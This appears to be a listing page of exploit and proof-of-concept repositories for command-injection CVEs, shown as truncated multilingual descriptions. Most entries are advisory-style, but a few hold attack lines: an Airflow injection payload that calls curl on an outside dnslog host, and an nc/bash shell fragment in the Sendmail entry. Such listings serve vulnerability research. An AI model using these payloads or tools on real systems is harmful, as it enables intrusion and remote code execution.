Exploit_CVE-2025-37164

ExploitCVE-2025-37164 ! 本脚本仅供教育目的使用 Exploit for the CVE-2025-37164 描述： 本脚本为影响 HPE OneView 的 CVE-2025-37164 提供了一个简单的利用，可用于验证资产是否存在漏洞。 用法： git clone https://github.com/LACHHAB-Anas/ExploitCVE-2025-37164.git cd ExploitCVE-2025-37164 pip install requests 运行脚本请使用： python3 CVE-2025-37164.py "" 或 python...

CVE-2019-19781-CitrixRCE

Citrix未授权远程代码执行攻击工具 - CVE-2019-19781 参考资料： https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 绕过方式： 1 - 已删除/修改的脚本位于：/vpn/../vpns/portal/scripts/ 2 - Perl命令注入（模板注入）攻击后出现的正斜杠（"/"）问题...

Vulnerability-DLink-CVE-2025-14659

CVE-2025-14659: Análisis de inyección de comandos en el daemon DHCP de D-Link Proyecto Recreate CVE | Seguridad Ofensiva Autor: Peter Lin Fecha: Mayo de 2026 Descripción del proyecto: CVE-2025-14659 reportó una vulnerabilidad de inyección de comandos dirigida al componente daemon DHCP presente en...

CVE-2023-26866

CVE-2023-26866 描述 GreenPacket OH736 的 WR-1200 室内单元和 OT-235，固件版本分别为 M-IDU-1.6.0.3V1.1 和 MH-46360-2.0.3-R5-GP，存在远程命令注入漏洞。命令通过登录前执行方式执行，并以 root 权限运行，从而可完全接管设备。该漏洞已由 Lionel Musonza 验证。 漏洞类型 CWE-77 对命令中使用的特殊元素的不当中和（'Command Injection'） CWE 来源接受级别 NIST CWE-94 对代码生成的不当控制（'Code Injection'） 产品供应商...

CVE-2026-105134: Improper Neutralization of Special Elements used in an OS Command

A flaw has been found in Ahsay AhsayCBS up to 10.3.2. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack...

CVE-2026-27626-POC

CVE-2026-27626：OliveTin 密码参数命令注入 OliveTin 允许管理员定义“操作”：带有参数化参数的 shell 命令，用户可以通过 Web UI 或 API 触发。在将用户提供的值模板化到 shell 命令之前，OliveTin 本应通过 checkShellArgumentSafety 对其进行检查。该函数会检查四种参数类型：string、int、bool、choice。它完全跳过了 password 类型，并直接返回 true（表示“安全”），而不对值进行任何检查。 因此，如果某个操作包含 password 类型的参数，并且该参数被替换到 shell...

CVE-2026-50979

CVE-2026-50979：oPanel 中经过身份验证的远程代码执行 概述 CVE ID： CVE-2026-50979 产品： oPanel 受影响版本： v1.19.50 及更早版本 漏洞类型： 经过身份验证的命令注入 / 远程代码执行（RCE） 易受攻击的组件： /advanced/curl 端点 严重性： 严重 描述 oPanel（v1.19.50 及更早版本）的 advanced/curl 端点存在命令注入漏洞。应用程序在将用户提供的 url 参数传递给系统底层的 curl 执行例程之前，未能对其进行充分的清理（sanitize）。 经过身份验证的攻击者可以使用 shell...

CVE-2020-5752

CVE-2020-5752: Druva inSync 本地权限提升 一个基于C的漏洞利用程序，针对Druva inSync Windows客户端（v6.6.3及以下版本） 。该应用程序在端口6064上暴露了一个RPC服务，该服务存在通过路径遍历导致的命令注入漏洞。这使得本地用户可以以NT AUTHORITY\SYSTEM权限执行任意命令。 漏洞详情 CVE: 2020-5752 测试环境: Windows 10 x64 权限级别: 本地权限提升 LPE 用法 1. 编译 使用gcc（MinGW）编译源代码： gcc exploit.c -o exploit.exe -lws232 2...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD 信息 此仓库包含构建Docker镜像所需的文件，该镜像包含易受攻击的OpenSMTPD 6.6.1p1环境。该漏洞允许攻击者通过特制的SMTP会话（特别是MAIL FROM字段）执行任意命令。 用法 1. 构建Docker镜像 （基于Debian）： docker build -t opensmtpd-vuln -f Dockerfile . docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash smtpd -dv 2. 构建Nix镜像 ：...

CVE-2026-48732-poc

CVE-2026-48732: Warp Remote SSH cwd 命令注入 PoC English version 概述 这个仓库是 Warp 传统 SSH 后台命令处理中存在的高严重性 OS 命令注入漏洞 CVE-2026-48732 的概念验证 PoC。 受影响的 Warp 版本中，使用 SSH 会话报告的远程工作目录 cwd 来构建辅助命令。由于该路径中包含的单引号未被转义，攻击者控制的远程主机、仓库或目录名可能突破被引号包围的 cd 参数，在受害者已认证的 SSH 账户权限下，在远程主机上额外执行 shell 语法。 发现者: saku0512 GitHub 免责声明...

CVE-2025-31644

CVE-2025-31644：F5 BIG-IP 设备模式下的命令注入 "save" 命令的 "file" 参数存在命令注入漏洞，拥有 "/mgmt" Web API 或 SSH "tmsh" shell 管理员权限的认证攻击者可利用该漏洞，在目标系统上以 "root" 用户身份获得远程代码执行能力。 注意： 仅当 BIG-IP 以设备模式运行时，此发现才被视为漏洞，因为这可能允许具有管理员角色的认证攻击者绕过设备模式的安全机制，而该机制原本会阻止任意高级 Shell（bash）命令的执行。 厂商披露： 有关此漏洞的厂商披露和修复方案，请参见此处。 要求： 此漏洞需要： 有效的用户凭据...

CVE-2025-43920

CVE-2025-43920：GNU Mailman 2.1.39（cPanel/WHM 捆绑版）中通过邮件主题实施的命令注入 发现者： Firudin Davudzada 与 Musazada Aydan 公开日期： 2025年4月 CVE ID： CVE-2025-43920 严重性： 5.4 中等 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N 攻击类型： 远程 受影响软件： GNU Mailman 2.1.39（捆绑于 cPanel/WHM） 概述 GNU Mailman 2.1.39 在随 cPanel 和 WHM...

Exploit for Argument Injection in Thecodingmachine Gotenberg

🔥 GOTENBERG RCE CHAIN CVE-2026-42589 + CVE-2026-40281 !...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

CVE-2025-60787

CVE-2025-60787 — motionEye RCE autenticado PoC de inyección de comandos autenticada para CVE-2025-60787. motionEye v0.43.1b4 y versiones anteriores escriben valores de configuración de cámara controlados por el usuario, como imagefilename, en la configuración de Motion sin una sanitización...

CVE-2024-6333

CVE-2024-6333 - Ejecución remota de código autenticada en Xerox Vulnerabilidad de ejecución remota de código autenticada en impresoras Xerox WorkCentre a través de la función de registro de diagnóstico de red. Descripción La funcionalidad de registro de diagnóstico de red...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 回显 POC 2 curl -X 'POST' ...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba 打印任务名称命令注入 概述 CVE-2026-4480 是一个影响特定 Samba 打印配置（使用外部打印命令）的命令注入漏洞。 该漏洞存在的原因是 Samba 将用户控制的打印任务元数据插入到 shell 命令中，而没有正确转义 shell 元字符。在特定配置下，攻击者可以提供恶意的打印任务名称，导致在服务器上执行任意命令。 该问题尤其危险，因为某些打印机共享允许访客访问，使得无需身份验证即可利用。 根本原因 Samba 支持多种打印后端。一种传统选项通常称为 sysv 风格打印...

sendmail-clamav-exploit-CVE-2007-4560

Sendmail + ClamAV-Milter 利用工具 CVE-2007-4560 Python RCE 利用工具，针对 Sendmail 搭配 ClamAV-Milter 成功利用后： nc 1001 bash -i 测试环境 Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 参考资料 原始利用工具：https://www.exploit-db.com/exploits/4761 CVE：与 ClamAV-Milter 命令注入相关 作者：strikoder https://github.com/strikoder...

CVE-2024-1655

CVE-2024-1655 描述 ASUS ExpertWiFi EBM63、EBM68 和 RT-AX57 Go 固件在 2024-12-04 补丁之前，splashpageSDN.cgi 函数中存在命令注入漏洞。当攻击者发送特制请求时，可以实现任意代码执行。 参考资料： 官方报告 用法 该漏洞是经过身份验证的远程代码执行，使用此脚本的用户需要首先获取目标的登录令牌（Cookie 头中 asustoken 的值）。 $ python3 CVE-2024-1655.py --host --token 示例：在 tmp 目录中创建文件 $ python3 CVE-2024-1655.py...